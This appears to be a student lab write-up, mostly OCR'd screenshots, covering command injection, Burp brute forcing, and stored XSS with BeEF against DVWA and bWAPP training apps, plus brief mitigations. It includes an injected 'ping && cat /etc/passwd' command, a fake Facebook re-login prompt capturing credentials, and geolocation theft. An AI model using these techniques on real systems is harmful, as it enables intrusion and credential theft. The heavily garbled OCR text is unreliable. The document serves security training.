Web Application 1: Your Wish is My Command Injection

Screenshot Results:

Activities ) Firefox Web Browser ¥ Thu 21:41

Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

& a6 () 192.168.13.25 8 -

= Vulnerability: Command Injection

Instructions

Setup / Reset DB
PING 8.8.8.8 (8

Brute Force -
[ Command injection | 64 bytes from 8.8.8.8: icmp seq-0 ttl-108 tine-29.936 ms
64 bytes from 8.8. : icmp_seg=1 ttl=108 time=29.876 ms
oskE | '8.8.8:
.8.

Ping a device
Enter an IP address: Submit
8.8): 56 data bytes
8.8
8.8
64 bytes from 8.8.8.8: icmp_seq=2 tt1=108 time=30.193 ms
64 bytes from 8.8.8.8: icmp_seq=3 tt1=108 time=29.326 ms
piisiinclusion --- 8.8.8.8 ping statistics ---
File Upload 4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 29.326/29.833/30.193/0.316 ms
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind) More Information
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
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Activities ) FireFox Web Browser v Thu 21:44
Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

b+

@ 192.168.13.25 B8 W =
| =
DVWA)
=/
o Vulnerability: Command Injection
Instructions

Ping a device

Setup / Reset DB

Brute Force
PING 8.8.8.8 (8.8.8.8): 56 data bytes
BRI | o e e i o e YIS 108 timen3.600 me
64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=26.150 ms
CSRF 64 bytes from 8.8.8.8: icmp_seq=2 ttl=108 time=23.613 ms
T 64 bytes from 8.8.8.8: icmp_seq=3 ttl=108 time=31.758 ms
--- 8.8.8.8 ping statistics

File Upload 4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 23.613/28.802/33.689/4.080 ms

Insecure CAPTCHA /var/www/html/vulnerabilities/exec
SQL Injection

Injection (Bli -
SQL injection @iind) | More Information
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass

JavaSerint |

Enter an IP address: Submit
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Activities [ Terminal » Thu 21:51
Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Comma

Edit
TTP/1.1" 302 336 "http://192.168.13.25/login.php" "Mozilla/5.0 (X11; Ubuntu; Lin
ux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

192.168.13.1 - - [07/Jan/2022:02:37:14 +0000] "GET /index.php HT
sysadmin@UbuntuDesktop: ~/Documents/web-vulns o "
File Edit View Search Terminal Help p HT
4Sysaamin@ubuntuDesktop: ) eb- S pPlng 8.8.8.8 && cat ../ .. 2010
/etc/passwd
PING 8.8.8.8 (
4 bytes from
bytes from

8.8.8 hp H
8 8
8.8.8.
bytes from 8.8.8.
8 8
8 8
8 8

Lin

p HT
bytes from
bytes from

6
2
1.
0.
9
bytes from 8

: icmp:seq:G time=28.
- 8.8.8.8 ping statistics ---

rtt min/avg/max/mdev = 26.704/31.461/42.457/5.120 ms
root:/root:/bin/bash

3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin:/bin/sync
5:60:games: /usr/games: /usr/sbin/nologin
:man: /var /cache/man: fusr/sbin/nologin
:1p:/var/spool/lpd: /usr/sbin/nologin
mail:/var/mail:/usr/sbin/nologin
:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
@ SOEIE GG @ wiht ar

Activities [ Terminal » Thu 21:55
Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Comma

Edit
TTP/1.1" 302 336 "http://192.168.13.25/login.php" "Mozilla/5.0 (X11; Ubuntu; Lin
ux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
192.168.13.1 - - [07/Jan/2022:02:37:14 +0000] "GET /index.php HT
sysadmin@UbuntuDesktop: ~/Documents/web-vulns o ‘"
File Edit View Search Terminal Help p HT
° /bin/bash 2010

/var/runj/vboxadd: /bin/false
/run/sshd: fusr/sbin/nologin hp H
001:1001:vagrant,,,: /home/vagrant:/bin/bash
instructor:x:1002:1002:: /home/instructor: /bin/bash

Lin

bin/bash HT
Lin

0:/home/adam: /bin/sh
home/billy: /bin/sh
home/sally: /bin/sh
var/spool/postfix:/usr/sbin/nologin
: Jusr/lib/dovecot: /usr/sbin/nologin
126:131:Dovecot login user,, nonexistent:/usr/sbin/nologin
/home/jane: /bin/bash
/home/sam: fusr/sbin/nologin
home/joe: /fusr/sbin/nologin
home/amy: /usr/sbin/nologin
/home/sara: /usr/sbin/nologin
home/admin: fusr/sbin/nologin
1004:1005:, ,,:/home/hacker: /bin/bash
badguy:x:1007:1011:,,,:/home/badguy: /bin/bash
131:65534::/var/1lib/nfs: /usr/sbin/nologin
sysadmin@UbuntuDesktop:~ iment eb- Si
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%) Firefox Web Browser v Thu 21:58

Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

e+
&« Cc o D 192.168.13.25 B - 9% no®e®e® =
‘ Setup / Reset DB
Enter an IP address Submit

.8): 56 data bytes
.8: icmp_seq=0 ttl1=108 time=29.199 ms

Brute Force

E PING 8.8.8.8 (8.8.8

64 bytes from 8.8.8

64 bytes from 8.8.8.8: icmp_se 7.209 ms
- CSRF 64 bytes from 8.8.8.8: icmp _seq=2 ttl=108 time=26.834 ms
2 File Inclusion 64 bytes from 8.8.8.8: icmp_seq=3 tt1=108 time=25.029 ms
. --- 8.8.8.8 ping statistics ---
File Upload 4 packets transmitted, 4 packets received, 0% packet loss

round-trip min/avg/max/stddev = 25.029/27.068/29.199/1.481 ms

Insecure CAPTCHA :0:

:root:/root:/bin/bash
SQL Injection 1:daemon: /usr/sbin:/usr/sbin/nologin
s mecton @iy SeL
: 12:man:/var/cache/man:/usr/sbin/nologin
XSS (DOM) 1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
XSS (Refl ) ::;L: mail:/var/mail:/usr/sbin/nologin

2:bin:/bin:/usr/sbin/nologin
Weak Session IDs 5:60:games:/usr/games:/usr/sbin/nologin
news:/var/spool/news: /usr/sbin/nologin

XSS (Stored) uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

CSP Bypass www-data 33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup: /var/backups:/usr/sbin/nologin

Javascript list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
DVWA Security nobody : x : 65534 : 65534 :nobody : /nonexistent: /usr/sbin/nologin
PHP Info apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

Avow |
Logout More Information

.
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Activities [ Terminal ~ Thu 22:01

Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

D 192.168.13.25 B -9 no®e®e® =

sysadmin@UbuntuDesktop: ~/Documents/web-vulns

File Edit View Search Terminal Help
sysadmin@UbuntuDesktop: - ping 8.8.8.8 && cat .

8 56(84) bytes of data.
bytes 8 icmp_se ttl=109 time=32.
bytes .8.8. icmp_seq=2 ttl=109 time=30.
bytes o5l icmp_se ttl=109 tim 4.
bytes 8 icmp_seq=4 tt1=109 time=30.
bytes 8 icmp_se ttl=109 time=26.
bytes 8 icmp_seq=6 ttl=109 time=31.
--- 8.8.8.8 ping statistics --- 3
6 packets transmitted, 6 received, 0% packet loss, time 5015ms
rtt min/avg/max/mdev = 24.843/29.568/32.152/2.706 ms
127.0.0.1 localhost
127.06.1.1 UbuntuDesktop
137.74.187.102 krebsonsecurity.com
52.202.62.206 acmetradesecrets.com
# The following lines are desirable for IPv6 capable hosts
ip6-localhost ip6-loopback
HHL localnet
::0 ip6-mcastprefix
1 ip6-allnodes

::2 ip6-allrouters gin

sysadmin@UbuntuDesktop:

gnats:
nobody:

4T.Gna -Re g
534:65534 :nobod

y:/none!

" D/gnats:/usr/sbin/nologin
x:65!

ad v/va
/usr/sbin/nologin

xistent:

1@ & right e




Activities  2) Firefox Web Browser ¥ Thu 22:03

Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Commanc X e

[—=N < c @ @ 192.168.13.25 8 - w noe® =

yall € jHeme | Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit

PING 8.8.8.8 ( ): 56 data bytes

8

l:] 64 bytes from 8 : icmp_seq=0 ttl=108 time=32.660 ms
64 bytes from 8 : icmp_seq=1 ttl1=108 time=28.260 ms

cs 64 bytes from 8 : icmp_seq=2 ttl=108 time=29.122 ms

64 bytes from 8 8.8: icmp_seq=3 ttl=108 time=28.044 ms
Hielinohsion --- 8.8.8.8 ping statistics ---
File Upload 4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 28.044/29.521/32.660/1.856 ms
Insecure CAPTCHA 127.0.0.1 localhost
a1l localhost ip6-localhost ip6-loopback
SQL Injection fe@0::0 ip6-localnet
ff00::0 ip6-mcastprefix
Injection (Bl P P
SQL Inj (Btind) ff02::1 ip6-allnodes
2
8

.8.8.8
.8.8.8
.8.8.8
.8.8.8
.8.

Weak Session IDs ££02::
192.16
XSS (DOM)
XSS (Reflected)
XSS (Stored) More Information
e CSP Bypass o

JavaScrint | °

ip6-allrouters
.13.25 9e5453309918

@ o0E R U6 M rwai
Mitigation:

1. Set up limitations or input validation that will block certain characters.
2. Implement access control configurations within the server

Web Application 2: A Brute Force to Be Reckoned With



Screenshot Results:

{Running] - Oracle VM VirtuzlBox - o x

Linux-Module_defaut_

Activities 4 Burp Suite Community Edition ¥

Bup Project Intuder Repeater Window Help 2. Intruder attack of 192.168.13.35 - Temporary attack - Not saved to project file
Dashboard Target Intruder Repeater 58 Atack Save Columns |
1% 2 x Results Target Positions Payloads Resource Pool Options
Target Positions Payloads Resource Pool ions.
EESvos S OPUONS | Cirer: Showing all items (@)
@ Payload Se
o ) I Request Payload 1 Payload 2 Status Enor  Timeout  Length Comment
You can define one or more payload sets. The number of payload setsd e — s B 200 L1801
—— 7 superman 1am Iron Man 200 11801
Payload set: | 1 v Payload count: 10 {7, Iloislane 1am Iron Man 200 11801
Payload type: | Simple list v Request count: 100 |72 spidesman ! am lron Man 200 11801
74 jennyjones 1 am Iron Man 200 11801
7 tonystark 1am Iron Man 200 11827
76 timtom 1am Iron Man 200 11801
@ Payload Options [Simple list] 77 peterparker 1am lron Man 200 11801

7. clarkkent 1am Iron Man 200 11801
L1 oad type lets you configure a simple list of strings that are used| 70 -

| Paste superman
loislane
Raw Hex Render \n
| Load spiderman 7
</Form>
| Remove Jenny)
tonystark o s
Crear timtom
peterparker <font color="green">
[__Deduplicate | | clakent Successful login! You really are Tron Man :)
michaelsmith </fonts
henryhacker
</div>
Add E
<div id="side">
&7 <a href=*http: //itsscganes. blogspot . con" target="blank_* class=‘button">
| <ing src=". /inages/blogger. png"> i
<=
@ Payload Processing s <a href="http: //be. linkedin. con/in/mal iknessllen target="blank_* class="button">
You can define niles to periom various processing tasks on each payh.@@ GEIES 0 matches
Finished
[ Add || Enabled Rule
| Edit |
[Runing] - Oracle VM VirtusiBox - s x

Activities % Burp Suite Community Edition v Sat 12:35

Intruder

Project Repeater Window Help 2. Intruder attack of 192.168.13.35 - Temporary attack - Not saved to project file

Dashboard Target Intruder Repeater S8 Atack Save Columns |
1 x 2 x Results Target Positions. Payloads Resource Pool Options
Target Positions Payloads Resource Pool ions

e 0PN | Cirer: Showing all items @

@ Payload Sets

) re e of Request Payload 1 Payload 2 Status Emor  Timeout  Length Comment
(SIS GRNEI g ™o Payioad sets. The number of payload sets €,y henryhacker Courage is immortal 200 11801
7 superman 1am Iron Man 200 11801
Payload set: | 2 v Payload count: 10 7 Iloislane 1am Iron Man 200 11801
Payload type: | Simple list V|  Requestcount 100 |72 spidesman ! am lron Man 200 11801
74 jennyjones 1am Iron Man 200 11801
7 tonystark 1am Iron Man 200 11827
1am Iron Man 200 11801
(@ Payload Options [Simple list] 1am Iron Man 200 11801
7 1am Iron Man 200 11801
This payload type lets you configure a simple list of strings that are used| +n . " [, 200 s10ne
[ pase Up. up and away! -
S ———— Raw Hex Render \n
| Load Cowabunga! - - .
 re Here | come to Save the Day </forn>
ove | with great power comes great responsibility or >
[ Clear You wouldnDt like me when I0m angry
Courage is immortal <font color="gresn">
| Deduplicate I am Iron Man Successful login! You really are Iron Man :)
His Past. Our future </font>
Change is coming
</div>
Add E
<div ide"side">
87 <a href="http: //itsecgames. blogspot. con” target="blank_* class="button">
| . /images/blogger. png"> I
@ Payload Processing 88 "http: //be. linkedin. com/in/mal ikmesellem" target="blank_" class="button">
You can define ruiles tb perioim various (rocessing tasks on each paylu@@ GEIES 0 matches
Finished
[ Add || Enablea Rule
| Edit |
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Activities % Burp Suite Community Edition ¥ Sat 12118

’ Burp Suite Community Edition v2021.10.3 - Temporary Project
(

Bup Project Intuder Repeater Window Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Leam

HTTP history WebSockets history Options

E ¢ Request to http://102.168.13.35:80
Foward ( Diop Action | [ Open Browser ¥ | wTTen
"a B8 =

~ 1 POST /ba_insecure_login_1.php HTTP/1.1
) Host: 192.168.13.35
User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml, application/xml; ¢=0.9, */% ¢=0.8
. 5 Accept-Language: en-US, em;c=0.5
Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

& Content-Length: 50

9 Connection: cleose

10 Referer: http: //192.168.13.35/ba_insecure_login_1.php

11 Cookie: PHPSESSID=11kbdk2ovd1f9fheln3ekh7ad7; security level=0

12 Upgrade-Insecure-Requests: 1

4, e Kepassvord +ansTronshntf orem=l

Q

YOLOIdSNI

VO& (€ 0 matches
@ SOEE G o

Nf
|
o

Activities %) Firefox Web Browser ¥ Sat 12:12 P U 4

bWAPP - Broken Authentication - Mozilla Firefox

'
‘) Vulnerability: Command X & bWAPP-Broken Auther X [EH

<« c o D & 192.168.13.35 v
ar eXTr'emen/ vuggy wep GPP g

Change Password Create User Set Security Level Reset Credits Ex\og Logout

/ Broken Auth - Insecure Loain Forms /

Enter your credentials

Login ' |
Password n
Login

Successful login! You really are Iron Man :)

bWAPP is For educationd purposes only / Folow on Twitter and ask. For our cheat sheet, contaning al soltions! / Need a ? / © 2014 MME B

@ o0ER GG rght art

Mitigation:

1. A good practice would be to block failed log-in after a specified number of
attempts

2. Use a multi-factor authentication software such as “Authenticator” to help with
such brute force attacks.



Web Application 3: Where’s the BeEF?

Screenshot Results:

Activities ) Firefox Web Browser ¥ Sat 12:51

BeEF Control Panel - Mozilla Firefox

) New Tab BeEF Control Panel @ signin-Google Accounts X | BeEF Basic Demo

< C @ D 127.0.0.1:3( : ory ) NDXTQ kJ @ - neo®ee® =
¥ Beer 0.5.0.0-alpha-pre | Submit Bug | Logout

Hooked Browsers

Getting Started Logs Zombies Current Browser
43 Online Browsers
@A @ 9 17001 Details | Logs | Commands | Proxy | XssRays | Network
4 &3 Oftine Browsers Module Tree Module Resuits History Command results -
43127001 S | dete abel 1 Sat Jan 08 0:44 GMT-0500 (Eastern Standa
= » .
@037 127001 T X t1 data: resutt=Usemame: hackeruser Password: hackerpass

- o 2022-01-08 12:49 command 1
(CJMisc (20)

(2] Network (22)
QPestnce
(] Phonegap (16)
4 () Social Engineering (24)
Text to Voice
@ Cicckjacking
@ Clippy
@ Fake Flash Update
 Fake Notfication Bar
@ Fake Notification Bar (Chi
@ Fake Notification Bar (Fire
@ Fake Notification Bar (IE)
@ Google Phishing
@ Lcamtuf Download
@ Pretty Theft
© Replace Videos (Fake Pi
@ Simple Hiacker
@ Spoof Address Bar (data
@ TabNabbing

Re-execute command +
Basic | Requester © Ready

Activities %) Firefox Web Browser ¥ Sat 1252
BeEF Basic Demo - Mozilla Firefox

) New Tab X | BeEF Control Panel X @ Signin-Google Accounts X S EEIENII)

—eEF

THE EXPLOITATION PROJECT

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HREFs" command module:

« The Browser Framework Project
* BeEF Wiki
.

Browser Hacker's Handbook
Slashdot

Have a go at the event logger. Insert your secret here:

You can also load up a more advanced demo page.

& SOEE GG rir i




Activities ) Firefox Web Browser v Sat 12:59 PO U 2

)

Vulnerability: Stored Cross Site Scripting (XSS) :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Stored Cros BeEF Control Panel X | @ Signin-Google Accounts X | BeEF Basic Demo X |+

noe®® =

Cc @ D 192.168.13.25 8]
)
D\#A)

Home Vulnerability: Stored Cross Site Scripting (XSS)

Instructions | |
® O inspector Console [ Debugger {} Style Editor () Performance {J Memory 1 Network [ Storage  Accessibility g] ++ X
'} ™ML + thov .els 4+ B [ Llayout Computed Changes Fonts  Animat v
v <tbody> element O { inlir ~ Flexbox
P<trafm</tr> }

. Select a Flex container or item to continue.

vetr> textarea o { mair

font: »100% arial,sans-serif; - Grid
vertical-align: middle
} CSS Grid is not in use on this page

<td width="100">Message *</td>

v <td>

<textarea name="mtxMessage" cols="50" rows="3"

></textarea>

</td> Inherited From div##main_body + Box Model
</tr> div#main body O { main 1
betrsimic/trs fent—sizer—13pxr ¥
</tbody> } margin
</table> Inherited from divicontainer
</form> .
i div#container O { main.css:109 ~ -
<br> Ersizeri3px
» <div id="guestbook_comments"> (= </div> L
<br> Inherited from body
<h2>More Information</h2 body & { main.css:1
b <ulsm</ul> color: @ #2f2f2f;
</div> . o N font+d RpxAbpxhrial—Helvetica—sans 426x59 static
r#ma > div padded > div.vulnerable_code_area > form > table > tbody > tr > td > textarea serifr ¥ .
< in.| a I —code ¢ dy > g + Rox Madel Pranerties
1@ ) right il
=
o 5 t _ a
Activities ) Firefox Web Browser ¥ Sat 13:21

BeEF Control Panel - Mozilla Firefox

’ Vulnerability: Stored Cros: X EEESFaDIdGIEEIEN ) New Tab

[~ < C @ D 127.0.0.1:3( # : ( A (SRR NGO ® ® =
# BeEF 050.0-aphapre | Submt Bug | Logout
Hooked Browsers Getting Started Logs Zombies Current Browser
4 (25 Online Browsers
@0 @ ? 127001 Details | Logs || Commands || Proxy || XssRays | Network
_ @ 0@ 72127001 Key « Value
2 4 33 Offine Browsers browser.capabilties. activex No
- 4127001 browser.capabilties flash No
® 0@ ? w7001 browser.capabilties.googlegears No
w ? 127001 browser.capabilties. phonegap No
browser.capabilties quicktime No
browser.capabilties.realplayer No
browser.capabilties siverlight No
browser.capabilties vbscript No
browser.capabilties. vic No
browser.capabilties webgl Yes
browser.capabilties webrtc Yes
browser.capabilties websocket Yes
browser.capabilties webworker Yes
browser.capabilties wmp No
browser.date datestamp Sat Jan 08 2022 12:50:45 GMT-0500 (Eastern Standard Time)
browser.engine Gecko
browser.language en-US
browser.name FF
browser.name.friendly Firefox
000 browser.name.reported Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; 1v:68.0) Gecko/20100101 Firefox/68.0
LR Basic || Requester M Page 1of2 b M & Displaying zombie browser details 1 - 50 of 50

1© & roh st




Activities  2) Firefox Web Browser v Sat 13:28

Vulnerability: Stored Cross Site Scripting (XSS) :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Stored Cros: X EEESahITGIEREN

D # 192.168.13.25

Facebook Session Timed Out

Your session has timed out due to inactivity.

Please re-enter your username and password to login.

B0rdo0E R U@ R

Activities %) Firefox Web Browser ¥ Sat 13:31

Vulnerability: Stored Cross Site Scripting (XSS) :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Vulnerability: Stored Cros: X EEESahITGIEREN

c @ D 192.168.13.25 B e &

#& An additional plug-in is required to display some elements on this page. | Install plug-in.

Ubuntu Software

Vulnerability: Stored Cross Site Scripting (XSS)

Setup / Reset DB Name

Brute Force Message *
‘Command Injection
CSRF Sign Guestbook Clear Guestbook
File Inclusion
File Upload
Name: test
[insecire CAPTEHATII | essage: This is atest comment
SQL Injection
Name: MrHaCKEr
SQL Injection (Blind) Message:
Weak Session IDs
XSS (DOM) More Information
XSS (Reflected)

CSP Bypass

JavaSerint |

1@ & Rkt




Activities ) Firefox Web Browser ¥ Sat 13333

BeEF Control Panel - Mozilla Firefox

') Vulnerability: Stored Cros: X EEESEaGIEENEN

[~ < c o D 127.0.0.1 \ €2ZTQJD ‘ ig9) : | - ¢ no®ee®

¥ BeEF 05.0.0-alpha-pre | Submit Bug | Logout
Hooked Browsers

" 4 5 Online Browsers
4631921681325 Details || Logs || Commands | Proxy || XssRays | Network

Getting Started Logs Zombies Current Browser

-
@ A& 7127001 Module Tree Module Resuits History Command results -

4 & Offinc Browsers Search da | date label 1 Sat Jan 08 2022 GMT-0500 (Eastern Standard Time)

. 439127001 - data: result={"status™"success","country":"United States","countryCode":"US","region""SC", regionName"-"South
@03 ? 27001 (Z)Browser (57) 0 202201081332 command 1 Carolina”"city™"Fort Mil","zip™:"29715","lat":35.0125,lon":-

3 Chrome Extensions (6) 80.9309,"timezone™:"America/New_York""isp™"Comporium”,"org™"Rock Hil Telephone Company”"as™"AS14615

@ D& ? 127001 3 Debug ) Comporium, Inc™,"query™:"208.104.51.220'}

(2 Exploits (109)
4 £ Host (24)
Detect Antivirus
Detect CUPS
Detect Coupon Printer
Detect Google Desktop
Get Battery Status
Get Geolocation (Third-Pi
Get Internal IP WebRTC
Get Geolocation
Hook Microsoft Edge
@ Get Internal IP (Java)
@ Get Protocol Handlers
® Get System Info (Java)
@ Get Wireless Keys
© Hook Defautt Browser
@ Detect Airdroid
@ Detect Default Browser
eee Re-execute command +
eee
LEX) Basic | Requester © Ready

& oOEE UG rmat

Mitigation:

1. Input validation could be used to help prevent this type of attack

2. Implement a type of patch management system or even create a user training
program for employees to help prevent this type of attack within an organization.



	 

